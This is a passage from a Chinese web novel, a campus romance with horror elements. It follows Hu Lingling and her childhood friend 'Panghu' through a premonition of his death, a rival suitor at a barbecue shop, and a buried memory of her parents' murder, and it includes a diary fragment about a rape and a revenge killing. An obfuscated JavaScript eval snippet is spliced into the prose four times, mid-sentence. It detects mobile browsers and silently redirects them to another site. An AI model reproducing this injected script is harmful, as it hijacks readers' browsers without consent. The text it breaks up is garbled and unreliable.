最近电视台正在热播《宝莲灯》,我单方面宣布焦恩俊是最帅二郎神,不接受反驳! 同桌垂下眼,几秒后,挤出一个字: “行。” 他不说话了,只是低头吃饭,眼睫低垂着,轮廓分明的侧脸看上去像是在生闷气。 我觉得他多半表面不在意,其实心里已经在暗暗跟那个体育生较量了,本着知彼知己百战不殆的精神,开始给他分析从体育生手上抢回沈晓丽的可能性: “我打听过了,那个体育生叫周驰,说是体育生招进来的,但其实都知道我们这个破学校不可能有体育生走出去,他就是家里有钱,毕业就送出国的,在这一点上,胖虎你不如他。” 他握着筷子的指节一紧,没说话。 “但是你也是有优点的!”我知道不能一味打压他的自信心,不然孩子可能会自闭,“比如说……啊,这个……你,你也很帅嘛。” 同桌不为所动,轻哼了一声: “我哪里帅。我都比不上焦恩俊。” 他还在记仇,之前一起看电视的时候,我说焦恩俊好帅好帅,他问,他跟焦恩俊哪个帅。 那必然是焦恩俊! 那天他足足有一个小时没理我。 男孩子的自尊心就是这么强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672069|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 就算知道比不过,还是要比。 我连忙安慰他: “没事的,你也很帅的,就,可能他是焦恩俊80%那么帅,你是79%这样。” “还能这么算?”他又轻嗤一声。 我眼珠一转,又想到了一个他的优点: “你成绩很好!那个周驰,他是吊车尾的,而且他还混帮派,我看到他跟那群不良在一起过。你跟他不一样,你是顶顶好的高材生,将来要去清北的苗子!” 似乎被我夸舒坦了,他面色这才好看一点,忽然问: “你想去哪所大学?” 这件事,他之前从来没问过我。 一是我爸妈不让我走太远,肯定是选省内。 二是我自己其实也活得稀里糊涂,别说哪所大学了,我现在连将来选哪个专业都两眼一抹黑。 其实我身边的人大多也都是这样稀里糊涂的,一眼看不到未来在哪里。 这里只是个小地方,我见过最大的官就是街道办的主任,国内的学校也只听说过最有名的清北。 长这么大,连池镇都没出过。 大概等高中毕业,我就会随便填个家附近的大学,毕业之后回老家找个收银员或者前台的工作,混混日子吧。 本科学历还是比高中学历好看一些的。 当然,前提是我的分数够得上二本。 但我不敢这么跟同桌讲。 他是个自己上进,也要逼着周围人一起上进的性格,从小到大我深受其害。 如果我照实说,他必定会通宵赶出一份“胡灵灵人生职业生涯规划书”来,逼我严格执行。 所以在短短几秒内,我疯狂头脑风暴出了一个自认为比较得体的答案: “隔壁市吧。我听说那里好像有个大学挺不错的。” 至于什么大学,叫什么,我统统不知道。 他看着我,目光柔软,没有想象中恨铁不成钢的表情: “你大学想去哪里,我就去哪里。” 我受到了极大的惊吓,鸡腿都被吓掉了: “你不去清北,跟着我做什么!?疯啦?” “我疯,你不是一直知道。” 他无所谓地替我把落在桌布上的鸡腿夹起来,放进自己碗里,这一举动立刻吸引了我的注意力,我的筷子追了过去: “鸡腿还我!” “填志愿的时候,我们一起,好不好?”他把筷子举高,不让我夹。 “行,好,成!” 反正到时候校领导和我爸妈都不会由着他胡闹的! 我伸长手臂去夹鸡腿,快被他气死了,自从上了高中,他就开始疯狂窜高,我则是一动不动,竖着不长横着长,妈妈说我这是发育了,我不懂: 发育就发育,发育也不耽误长个子吧!? “还你。”他轻飘飘地把鸡腿送回我碗里,我护食地抱住碗。 “胖虎,你最近真是越来越过分了,不要忘记你小跟班的身份!” 我冲他龇牙。 “没忘。”他说着又给我夹了个鸡腿,语气罕见地温柔,“还吃吗?” 我警觉地看着他,觉得他多半是被人夺舍了。 “你第一次尿床是几岁?” 我鬼鬼祟祟凑过去问他。 他无语地看着我: “干什么?” “测试呀,看你是不是你真的胖虎,要知道一些高维生物也是会伪装成人类的样子,来攻占地球的。” “……”他胸口起伏了几下,像是被我气得不轻,随即咬着牙,“换个问题。” 8. 幻视 我眼珠转了转,从善如流地换了个问题: “好吧,那有一个秘密肯定是只有咱俩知道的。” 他嘴角一抽: “你不要说是——” “就是那个!你是怎么被我发现暗恋沈晓丽的?”我咄咄逼人,左手捧右手作出持枪手势,“说不出来我就把你当成古神的随从,当场击毙!” 他没惯着我,单手把我两只手一起按下,转守为攻: “那你说说,你第一个暗恋的人是谁?” 我的老脸腾地一红: “哎呀,提这个做什么。” “说。” 他眸色暗沉。 我把手抽走,偃旗息鼓: “好嘛好嘛,我不问你了,你不是古神的随从也不是外星人,我查验过了。” 但他却不肯放过我,现在反而是他揪着我,一定要问出个清楚明白: “不敢说,还是不好意思说?胡灵灵,你就这么点胆子?” 被他质疑胆子小,这还得了?我以后怎么在他面前树立威信? 我立刻装作毫不在意的样子,摆了摆手: “那都是小时候不懂事瞎说的!是你,是你行了吧!” 他这才满意,扬起眉毛,点了点桌上饭菜: “吃饭。” …… 第二天是周一,我们从季野家里出发,这里距离学校比我家近,我早上还能多睡五分钟。 同桌和我背着书包,书包里放着昨晚熬夜写的周末作业。 我顶着大黑眼圈,嘟嘟囔囔: “你怎么可以这样对我,我本来就认床,你还让我补作业……我昨天眼睛刚闭上就天亮了!你懂我的痛吗?” “不懂。” 同桌冷酷无情。 “你无情你无耻你无理取闹……冷冷的冰雨在我脸上胡乱地拍……” 我迷迷糊糊,把所有能想到的恶毒词汇都往他身上招呼了一遍,直到他给我买了份甜豆浆才消停。 嘬着豆浆袋子,我左手葱花卷右手大油条,同桌见状把手伸过来托住豆浆: “你要不要再装第三只手。” “咕咚!”将豆浆咽下,我用前臂夹住袋子,“我浑身上下都是手,你不要小瞧我。” 他松了手,豆浆袋被稳稳地夹在我手臂间。 “看吧,我说的——” 我还在得意,眼前同桌的面容突然晃了晃。 像是电线短路,又像是电视花屏。 一张枯槁的死灰面容一闪而过。 像是被诡异生物吸干了精气,枯败衰老。 与如今同桌帅得风华正茂的脸庞有天壤之别。 我愣在那里,浑身上下像是被冰水浇了个通透。 同桌……同桌…… “你怎么拿不住了?”同桌的声音把我带回人间,他一只手捧着豆浆,一只手抓着油条和花卷袋子,抱在怀里,低头看我。 我看着他,看着看着,毫无征兆地,泪水落了下来。 接着,就像止不住一样,站在街上嚎啕大哭。 至今为止,我看到的预兆,我想救的人,一个都没活下来。 我不知道要怎么对同桌说,只是看着他不停流泪。 他沉默片刻,好像明白了什么,微微俯身,看着我的眼睛: “你看到我死了,对吗?” 我哽咽着点头。 “别哭,别难过。”同桌腾不出手来安慰我,只好用脸颊轻轻蹭了蹭我的脸,“我不会死的。” 我断断续续地、坚持着告诉他: “这个镇上不安全,有克苏鲁的诅咒,你考出去,考得远远的,别去隔壁市,也别在我身边,你考得远远的,好不好?” 同桌垂下眼睫看我,眸色如墨,深沉难明,对于我接近崩溃的哭泣,只是柔声道: “我哪里也不会去。 “胡灵灵,我会守着你。” …… 上早读课的时候,我一只手一直放在桌底下,揪着他的衣角,不敢松开。 他低头看我的手,之前的柔情像是幻觉,一如既往地嘲笑我: “几岁了?” 我不管他说什么,都没松手。 前排的曹平祥今天居然来上课了,不过早读课他是睡过去的。 下课铃一响,他就自动唤醒,坐起来伸了个长长的懒腰: “呃啊——” 那声音透着饱睡的餍足,叫一晚上没睡好的我十分火大。 我卷起生物书,在他背上砸了一下: “手机借我用一下。” 他立刻鬼鬼祟祟地扭过身,眼睛还往讲台上瞟了一眼: “嘘。谁告诉你我有手机的?” 学校不让带手机,不过指的是小灵通。 “别管。给我。”我扬了扬手中的课本卷,“曹小胖,你不借我,我就大声嚷嚷了。” “好好好,借,借!真是有事曹爸爸,无事曹小胖。” 曹平祥翻了个白眼,从书包夹层里翻出来一台智能手机丢给我。 这东西在全国范围内都是个新鲜玩意儿,别说小城镇了,就连大城市也见不到几台,据说一台的价格可以在我们小镇买套房。 即使是这样,刚出来的时候也被抢购一空。 因为它和小灵通不一样。 它!可!以!看!片! 不是,我是说,它可以直接上网。 我不会用智能手机,不过还是顽强地找到了浏览器页面,根据之前微机课上学的操作,举一反三,找到了浏览器,输入关键词: 【在人生前看到他的死状什么原因】 【让人一夜之间衰老的怪物】 但不管我怎么换关键词,搜出来的都是些毫无意义的东西。 我关掉界面,把手机还给曹平祥。 他好奇地打开浏览器,看到我的搜索记录: “你查这些神神叨叨的东西干什么?又发病了?” “你才发病!滚蛋!”我用课本卷又在他肩上拍了一下。 “哎哟,你就是这么对你的恩人?” “什么恩人,临阵脱逃的恩人!你之前还好意思把烧烤店的传单给我,亏我还以为是答案!” “请你吃烧烤啊,这都不懂?”他翻了个白眼,“学校门口新开的烧烤店,今晚放学去吗?” 他话音未落,旁边一直在做题的同桌忽然插了进来: “哪家烧烤店,我怎么不知道?” “去了不就知道了。不过你可别来啊,我单请胡灵灵的。” 曹平祥嘿嘿一笑。 “哦?凭什么?”同桌冷冷发问,“是她帮你的次数多,还是我帮你的次数多?你请她不请我?” “下次再请,下次再请——知道你妹控!但是这次是有人拜托我今天把胡灵灵约出来的,她要是再带个电灯泡去,我可就没信用了!” 同桌闻言,脸色更沉: “是周驰?” “你怎么知道?嘿,就跟装了天眼似的,天眼小神童胡昭辛!” 这个名字从曹平祥口中说出来的时候,我浑身一震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672070|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 啊。 原来,胖虎的名字叫胡昭辛。 可是听着,怎么这么陌生呢。 就像是个无关的陌生人。 我还在恍惚,曹平祥又问我: “怎么样,胡灵灵,给不给这个面子?哥给你介绍帅哥认识,你不是一直在问他的情报吗?我跟他提了一嘴,他就说要请你吃饭,我够意思吧?” “不许去。”同桌冷声喝止。 “哎,要不是你拦着,早一个月他俩就能吃上饭了,还能有沈晓丽什么事儿?就当是吃一顿免费的大餐了,去见个面也没啥的对吧?人家还送了我一张限量版卡带呢。” 曹平祥恨铁不成钢,最后一句话倒是暴露了他如此殷勤的原因。 同桌冷笑: “既然他跟沈晓丽在一起了,那就更不方便约灵灵了吧。” “沈晓丽没答应呢,他大概也是觉得她难追,就——” “就倒过来找灵灵?”同桌脸色更黑,“曹平祥,你他妈再多管闲事,给灵灵介绍这种货色,我撕了你的嘴。” 这是我唯一一次听同桌说脏话,不可思议地瞪着他。 看来曹平祥也是第一次听。 他的小胖脸上,笑容一点点收去,开始发白: “哎,我就是随便说说,至于上纲上线吗?不去就不去吧,改天咱仨约,成吗?哎,我这就去跟周驰说,灵灵有个大妹控哥哥……” 曹平祥知道我和同桌有同一对爸妈,住在同一屋檐下,所以默认我们是亲兄妹。 不过外界总有人觉得我俩是一对。 我们觉得为了这事,专门把父母叫到学校里来太大费周章,于是也就没管这些谣言。 听了曹平祥的话,同桌的脸绷得紧紧的,没给他回应。 曹平祥悻悻转了回去。 我有些被吓到,歪着脑袋去看他表情: “胖虎,你没事吧。” 他狠狠闭了闭眼,呼吸有些粗重,几秒后,声音平稳,听不出异样: “没事。” 我还要说些什么,上课铃响了,只能先收回心神。 一整堂课,我都有些神思不属,到最后,反而犯了困,脑袋一点一点,快折到胸口了。 在我的脑袋砸向桌面的一瞬,旁边伸过来一只手,托住了我的下巴。 接着,那只手成了我的枕头。 我枕在有些硬的手臂上,双手垂在桌下,像《猫和老鼠》里的汤姆猫,睡得昏天黑地,口水直流。 梦里,有很多凌乱的景象。 我反复梦到相同的场景。 小时候,我和胖虎家住得很近。 我的爸爸妈妈很忙,经常不在家,他则和我同病相怜,我就会去他家玩。 他有的时候也会来串门。 那天我们正凑在一起玩过家家,我困极了,叮嘱他把橡皮泥收好,我醒来要检查,两眼一闭就睡了过去。 等再醒来,天已经黑了。 玄关处有人开门,是他的爸爸妈妈回来了。 我摸着黑往外走,个子太矮,够不着电灯开关。 等我刚搬来一张凳子,爬到上面时,就听外面传来很轻的一声“噗嗤”。 “别怪我。这是为了……秩序。” 一道略显熟悉的声音。 四岁的我,懵懂无知地打开了电灯开关。 惨白灯光将一切黑暗都照得无处容身。 我的爸爸妈妈,仰面倒在血泊之中。 站在他们身旁的,是…… 胖虎的父母。 9. 交锋 我被下课铃吵醒的时候,还有些恍惚。 我的爸妈。 胖虎的爸妈。 地上躺着的和他们身边站着的人,脸庞交错重叠,我一时有些分不清楚,到底谁是谁。 记忆是不可靠的。 记忆可以篡改,可以粉饰,可以美化。 而且我当时才四岁。 所以我对那些景象的真实性存疑。 可能只是大脑描绘出来的骗局。 当年他父母死亡的案件,警方已经给出了结案报告。 是他父亲在争执中不慎捅伤母亲,清醒之后愧疚自尽。 我父母有完整的不在场证明。 那件事之后,看在两家的情谊上,我的父母收养了他。 见我魂不守舍的模样,同桌忽然凑到我耳边问: “想吃烧烤吗?” 我慢了一拍才反应过来: “啊?” “今晚我请你吃。” “你哪来的钱?” “问伯父伯母拿的。” 哦,我爸妈给他私房钱了。 不给我,哼! “别气,我的钱都给你花。” 他笑着挠了挠我下巴,被我一把将手拍开: “滚呐!” 但放学后,我还是乖乖跟着他去了烧烤店。 别说,我还真挺馋烧烤的。 店铺不大,里面和外面都摆满了桌椅,来吃饭的多是学生,除了烧烤之外,店外面还摆了关东煮的炉子,里面翻滚着金针菇、年糕福袋、手打牛肉丸、烤肠、白萝卜、溏心蛋……都给我看饿了。 “想吃什么,随便点。” 同桌豪气地往我身边一坐,长手一伸,将菜单拍在我面前。 我正在流口水,只听旁边传来一道女声: “你也来吃烧烤吗?” 我抬头,沈晓丽正在向我们这边走来,但她说话的对象明显不是我,而是同桌。 同桌头也没抬,嗯了一声就没了下文。 他这样好没有礼貌,根本不像是暗恋人家的人。 难道是因为害羞? 我有了主意,向沈晓丽招手: “一起吃吗?” 同桌立马抬头用眼神剜我。 沈晓丽对我的邀请感到意外: “可以吗?” “可以的可以的!” 沈晓丽从容接受了我的邀请,不过在坐下的时候有些犹豫。 她看到我和同桌挤在一起坐,欲言又止: “我坐哪里?” 我茫然: “你爱坐哪儿坐哪儿啊。” 说完才发现,这桌子旁边的塑料凳都被别的食客搬走了,这个点生意确实是好了点。 现在唯一能坐的,就是我和同桌屁股下的长凳了。 我小心翼翼地把屁股往同桌那里挪了挪,拍一拍另一侧: “你坐这儿?” 沈晓丽更加欲言又止了。 她小心翼翼地走过来,双手托住裙子下摆,往下压平的同时坐了下来,与此同时扑面而来的还有一阵淡淡的芳香。 我就说她又好看又优雅吧! 这种细节我就想不到! 我穿着裙子的时候只会叉着腿坐,或者翘着腿坐,几次三番被同桌敲膝盖,让我架势收收,别给流氓看光了。 不过说真的,谁会看我啊? 作为女生,推举沈晓丽做班花,我是服气的。 我们小镇不乏家境很好的孩子,他们的父母大多是在外面搅弄风云的大佬,家里已经有了可以继承家业的长子,于是便生个幺儿带在身边解闷,也不要求有大的成就,甚至说是刻意养废,以免和大的争家产,每年给点零花养着就行,一出生就躺在了终点线上。 至于为什么要搬来池镇,只能说,这里的风水很养人——不过我也是听说的。 街口算命先生还说这里有龙脉呢。 之前来我们镇上暂居的一个神婆住在我爸妈出租的房子里,她则告诉我说,这个小镇位于什么星辰什么轨迹交汇的延长线上,容易发生一些灵异事件。 总之说什么的都有。 扯远了,话说回来,沈晓丽做班花,当之无愧。 因为她就是这样的一个不求有大出息,但求乖巧懂事的“幺儿”。 她没有锋芒,单纯善良,温柔明净,长得还漂亮,比99%的女孩子都会打扮自己,本来皮肤就好,再加上这个年纪就开始用护肤品,更是把其他女孩子远远地甩出一条街,是所有男孩子梦中情人该有的模样。 也难怪同桌都不能免俗。 因为在男生中间,喜欢沈晓丽好像已经成了一种“政治/正确”。 你不喜欢,你就是眼光有问题。 你就是不合群。 我看了眼大众情人沈晓丽,把菜单递过去,殷勤道: “你先点,今天胖虎请客!” “你们先点吧。我跟你们AA就行。” 沈晓丽轻声细语道。 “AA?”我更加茫然,“什么新型词汇?” “就是,平摊费用。”沈晓丽轻笑,那是一个不带嘲笑的微笑。 但我还是有些不好意思,像犯了尴尬症: “哦……咳,学到了学到了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672071|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同桌在一边一直一言不发,在我把菜单递过去,问他想吃什么的时候,阴阳怪气道: “你点你的,不用在意我的感受。” 我立马从他的语气中揣摩出他生气了,讨好地凑到他耳边低声道: “胖虎,胖虎,我都给你创造机会了,你快抓住啊,沈晓丽就在旁边,要不我走?” 他立刻抓住我的手腕,恶狠狠道: “你敢。” 哎哟,那我可太敢啦。 “你不跟她说话,我就走了。” 我威胁他。 按照他这个暗恋的闷骚样,没有我的助攻,他再过一百年也别想跟沈晓丽牵上小手。 同桌磨了磨后槽牙,我都能看到他腮帮子鼓起一块,但他还是妥协了: “沈晓丽,那边有椅子。” 我靠。 他可真会聊天。 沈晓丽顺着他手指的方向看去,角落里果然有一把椅子。 她走过去,把椅子拖过来,想了想,很羞涩地没坐在他旁边,而是坐在了我们对面。 这下好了。 他们两个之前只隔了个我,现在却隔了一整张桌子。 按照这个速度,到下个学期,他俩就该隔着太平洋了。 我在桌子底下踹了他一脚: “你会不会聊天。” 他没什么反应,视线忽然看向沈晓丽,眼神有些凌厉,都把她吓到了: “胡昭辛?我怎么了吗?” 同桌一言不发,把菜单塞回我手里,垂着眼,淡淡嘱咐: “点你的。” 几秒后,我就明白了他刚才凌厉视线的落点。 周驰从沈晓丽身后走了过来。 他是个皮肤偏黑的男孩子,高高大大,身材瘦削。 说是体育生有些勉强,因为他没多少肌肉,不过脸还算阳光英气,说他跟焦恩俊一样好看,其实是我激同桌的。 悄悄摸着良心讲,同桌比他好看多了。 同桌还爱干净。 不像他,打完篮球臭烘烘的,也不洗脸,挂着汗就去上课,听说还有狐臭。 此时的周驰显然锁定了我们这一桌,大步流星走过来。 沈晓丽背对着他,他一开始没看到,纯粹是直冲我来的,远远地就打了招呼: “胡灵灵!” 他嗓门很大,几乎一小半的食客都回头来看我。 这里的大多是池镇高中的学生,里面有很多人都认识我——之前我的作文比赛获奖时,大头照在告示栏贴了整整一个月才被同桌的联考第一喜报替换掉。 所以我在学校大小也算是个名人。 10. 日记 我看了眼沈晓丽,又看了眼周驰,最后看了眼同桌。 这是什么修罗场。 周驰走近了才发现沈晓丽,脸色有些不自然: “你也在啊。” 沈晓丽轻轻嗯了一声,态度很随和。 周驰看向我,刚刚那点不自然被他抹去: “店里没位置了,能跟你们拼个桌吗?” 同桌不冷不热道: “我说好了请她们两个吃饭,再多一个就请不起了。” 沈晓丽刚刚一直在看桌子底下,这个时候突然说: “不好意思,我家里有事情,要先走一步,你们吃吧。” 周驰看着她,好像想说些什么,最终还是点了下头表示知道了,转头看向同桌: “用不着你请。我请你们两个,行吗?” 我立刻拽了拽同桌的袖子: “宰他宰他,他是你情敌!” 同桌瞥了我一眼,忽然笑了: “你说得对。” 周驰大摇大摆地拎着沈晓丽刚刚坐过的塑料凳过来,往我旁边一放,大刀阔斧坐下了: “你们刚刚菜点了吗?” 我这才想起正事,连忙拿起铅笔,把菜单和笔都塞进同桌手里: “还没呢。快点快点。” 然后用超小的声音道: “照贵的点!” 同桌也不含糊,刷刷几笔就来了一百串羊肉串,接着几十串几十串地点了羊腰子、烤蛤蜊、烤大虾…… 真的是哪个贵点哪个。 点饮料的时候我扑过去勾了弹珠汽水,同桌看了我一眼,直接来了一打。 奇怪的是,周驰都被这样宰了,还是笑呵呵的,还在接过菜单时说了句: “哥你真会点菜,这些我也爱吃。” “谁是你哥。” 同桌面无表情回了句。 “你呀,大舅哥!” 周驰这句话,让我受到了极大的惊吓。 我以为曹平祥说他要请我吃饭是假的,毕竟我跟他连面都没见过。 现在看来,他真的不追沈晓丽了,改追我了? 这,这不好吧。 我也看不上他啊。 我下意识看了同桌一眼,只见他忽然扯出个皮笑肉不笑的表情: “这顿我请。” ……这该死的胜负欲。 我连忙按住同桌手臂: “别跟真金白银过不去,他请就他请!” 接着超小声地提醒他: “你都点了快五十块钱了,五十块!够买多少袋薯片!” 同桌垂眼看向我拉着他的手: “他都叫我大舅哥了,你没什么表示?” “啊?”我呆了一下,“这,这,先吃了再说?” “……”同桌突兀地在我脑门上弹了个脑瓜崩,对周驰道,“那下次我请。” “小意思。”周驰阔气地招手叫老板过来,把菜单递给他。 老板从围裙里掏出笔,再次确认,边确认边打量我们三个,走流程一样慢悠悠提醒: “点这么多你们吃得完吗?” “你只管上就是了。”周驰翘着二郎腿,看着很像那种土豪大人的作派,“咱不差钱。” 这里上菜很快,几乎菜单刚过去,羊肉串就送了过来。 我正好调好酱料,立刻大快朵颐,吃了几口抬头,发现周驰眼睛一眨不眨地看着我,有些犹疑: “你不吃?” “胡灵灵,有没有人说过你长得很好看?” 他突然这么说,给我整羞涩了。 我扭捏道: “也、也没有吧?” 同桌在一旁给我碗里扔了个剥好的虾,冷笑道: “这不是有眼睛的都看得出来?” “哎呀,我就是强调一下。” 周驰丝毫没有被同桌的冷漠打倒,殷勤地往我碗里撸五花肉,眨眼间已经撸了三串,我忙道: “够了够了,吃不了那么多!” 那边同桌又扔了半碗撸好的羊肉给我,盖住五花肉,把我面前的小瓷碗挤得满满当当。 他还慢条斯理地用勺子底在上头压了压,压平压实,语气有些阴森: “爱吃就多吃点。吃。” “……” 我硬着头皮吃。 在我只顾着吃的时候,他们俩反而聊上了。 同桌问周驰: “不追沈晓丽了?” “嗐……我就是跟人打赌去告白的,要是正儿八经追她,肯定没这么草率。不过,其实我比较想认识的是胡灵灵。” 怎么又提我! 我正在和同桌夹给我的羊肉搏斗,闻言背脊一凉,只能缩着脖子装听不见。 同桌冷冷淡淡道: “那你现在认识了。” 周驰厚着脸皮又往我刚解决了一小半的羊肉山上塞了一大块蒜蓉蛤蜊: “我还想进一步认识。” “听说你毕业要出国?打算跨国恋?” 同桌语气平缓,反倒是周驰开始磕巴: “那,那不是还没到毕业吗?我想着先处着看看,要是合适,以后,以后跨国也不是不可以。” “你考虑过你们两个的家境差距吗?我们家也就刚刚小康,父母都是普通人,你家是家族企业,你爸是连锁品牌的大老板,他没跟你提过联姻的事情?” 奇怪,我没跟他提过周驰家的具体情况啊。 这件事连我也是第一次听说,他是怎么知道的? 周驰被他逼问得结结巴巴: “啊,这个,这个,我还小,家里还不考虑那些呢,他们说我高兴就好。上头有我大哥顶着呢。” “那你将来想做什么?” “我……我还没考虑到那么远,我现在就是想谈个恋爱……” 周驰的语气越来越犹疑,鼻尖的汗越来越多。 “学生的本分是学习,哪儿来那么多恋爱好谈。想追灵灵,等上了大学再说。还有,记得先把账结了。” 同桌还真是,说他胖还喘上了,现在就摆起大舅哥的谱了。 不过,提醒周驰记得结账,好样的! 因为周驰现在看起来像是随时都要羞愧落跑的样子。 这顿饭我吃得很开心,因为最后周驰果然老老实实把账结了。 他垂头丧气离开的背影有些可怜,我刚要说同桌做得有点过,他就告诉我: “我听说周驰在背地里说沈晓丽装清纯,还打过胎。” “真的!?” 我真是好大一个惊吓。 “他说过这句话是真的,但沈晓丽打过胎是假的。你是傻子吗?沈晓丽跟你从幼儿园一起上到高中,打胎是要坐小月子的,如果她消失几个月你会不知道?” 沈晓丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672072|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我关系不咸不淡,虽然从小到大都是同班同学,但她跟我云泥之别,我也不好总凑上去跟她套近乎。 我俩算是说得上话的点头之交。 “哦……那,那就是说,周驰在撒谎?” “用词恶毒点。他在造谣。” “……”我脸色有些发青,“我现在有点想把刚才吃的东西都吐出来。” “别吐,伤身体。我告诉你这个只是想提醒你,周驰不是个好东西,别跟他来往。他以后可能还会造你的谣,你别理他就行了。” 我闻言更难受了。 他递给我一瓶弹珠汽水,我喝了几口才感觉好一点。 啊,原来是吃撑了。 晚上八点,我们肩并肩去压操场消食。 我突然想到一件事: “哎,不对啊,胖虎,你好博学,你怎么知道打胎要坐小月子?我看电视剧里那些打胎的女人,打完就能下地了!” “……”同桌的脸色突然变得很不好。 在操场昏暗的路灯下,他看向我的眼神,幽暗得像是会吸人的深渊。 他最近,时不时就会露出这样的表情。 我开始看不懂他了。 我有些怕: “胖虎?胖虎?听到请回答?” 在一片黑暗中,他忽然俯身下来,轻轻抱住了我。 我身体僵成一块木头,闻到他脖颈处淡淡的体香。 同桌说: “灵灵,我会保护你的。” 他的声音轻如鸿毛,落在夏夜的蝉鸣里,落在我的耳朵里。 后颈有点烫。 湿漉漉的。 …… 【我的灵魂被污染了。 我在坠落,在破碎,在无边无际的深渊奔走哭嚎。 他们如野蛮的兽,不知疲倦地侵略,深渊之底只剩下最原始的进攻与掠夺。 这里的野兽长成什么模样都没关系,是人是兽都没关系。 因为这里没有光亮,无人在意。 我在往下沉,往下沉。 无数双丑恶的手从深渊伸出来,拽着我的脚踝,按着我的手腕,掐着我的喉咙,我头顶的天光越来越窄,直至一道声音欢呼起来,那道天光彻底闭合。 ——“妈的,是个雏!” 我如布袋坠落。 走投无路。 求助无门。 大海的咸腥混杂着泥土的臭味,我在布满藤壶和砂砾的岩石上,瞪着眼睛望向黑如幕布的天空。 口中咸腥味不仅仅是海水。 喷洒在脸上的也不仅仅是酒气。 在我视野里出现的,也不仅仅只有一张脸。 到最后,在掩盖罪恶的浪涛声里,在毁天灭地、翻搅神经的白光里,我的指甲嵌进砂土,生生劈断。 我快乐圆满的人生,结束在了那个死气沉沉的夏天。 不过没关系,我至少还拖了一个人下地狱。 他们欠我的。 他们欠我的! 耳畔开始响起尖叫和哭号。 沸腾岩浆在深沉夜幕下渐渐冷却时,我垂眼望去,圆规已经深深扎入面前人的喉咙。 圆规握在我的手里。 他大张着眼,丑陋地倒在沙地上,裤子褪了一半,死不瞑目。 我沉默着,将圆规扔进大海。 尸体也是。 ——《无名日记》】 11. 暗流 消完食,我和胖虎并肩往季野家里走——季野爸爸不知道打通了什么关节,叫学校以为我们这周回家住,又把这件事瞒住了我爸妈,打了个信息差,叫我们每天放学后住在他家。 走在华灯初上的街道上,我想起季野,还是觉得有些纳闷: “你说季野他到底是得罪了什么人,才被杀的呢?” “也有可能是他爸得罪了什么人吧。”同桌漫不经心地看向一边,“要买包零食带回去吃吗?” “还吃呀,我吃不下了。”我皱着眉头看向路边杂货店,忽然停住脚步。 杂货店门口的人行道上聚了几个不良少年团伙的人,他们倚着机车,打着赤膊,枯柴一样的手臂上纹了乱七八糟的青龙白虎,脚边堆着啤酒箱,有几个正在对瓶吹,剩下的指间夹着烟,正在吞云吐雾。 同桌侧移一步,挡住我的视线: “不吃就不买了,走吧,回去。” 我移开目光,看着他咧嘴一笑: “胖虎胖虎,你酒量怎么样啊?” “问这个做什么。未成年不能喝酒,别学他们。” “你是不是没喝过酒?” 他没再理我,气压很低。 搞得好像我说错了什么话一样。 我撇嘴,不开口了。 回到季野家,我们提前跟保姆打了招呼,她就没做我们的那份晚饭。 进家门的时候,她告诉我: “季先生在书房,不让任何人去打扰。” 我哦了一声。 我也没想去打扰呀。 回到季野爸爸给我分配的客房,我打开书包,把作业本拿出来——是的,虽然我们高中是个野鸡高中,甚至晚自习形同虚设,但还是要做家庭作业。 今天要做两张数学卷,一张英语卷,一张语文卷,作文不写。 其他科目的试卷在课上做了,等明天老师批改后发下来。 我咬着笔杆子,对着一道英语选择题纠结是扔橡皮骰子还是随便蒙个C,忽然感到一阵困倦。 昏昏沉沉地趴在桌子上,黑色签字笔骨碌碌滚落桌面。 我想,晚上是真的吃太饱了,都犯困了。 …… 再次醒来,书桌上的灯光还亮着,同桌不知什么时候坐在了我身侧,手底压着我的卷子,皱眉批改。 他的侧脸干净柔和,映在灯下,连细小的浅色绒毛都纤毫毕现。 我迷迷糊糊地眨了眨眼,用刚睡醒的声音问他: “你怎么在这。” “看你做了多少作业。”同桌在指间转了下笔,笔尖指向其中一道填空题,一个字母一个字母地念出来,“‘embarass’?” 我已经困得两眼发直,还没觉出不对,呆呆地点了点头。 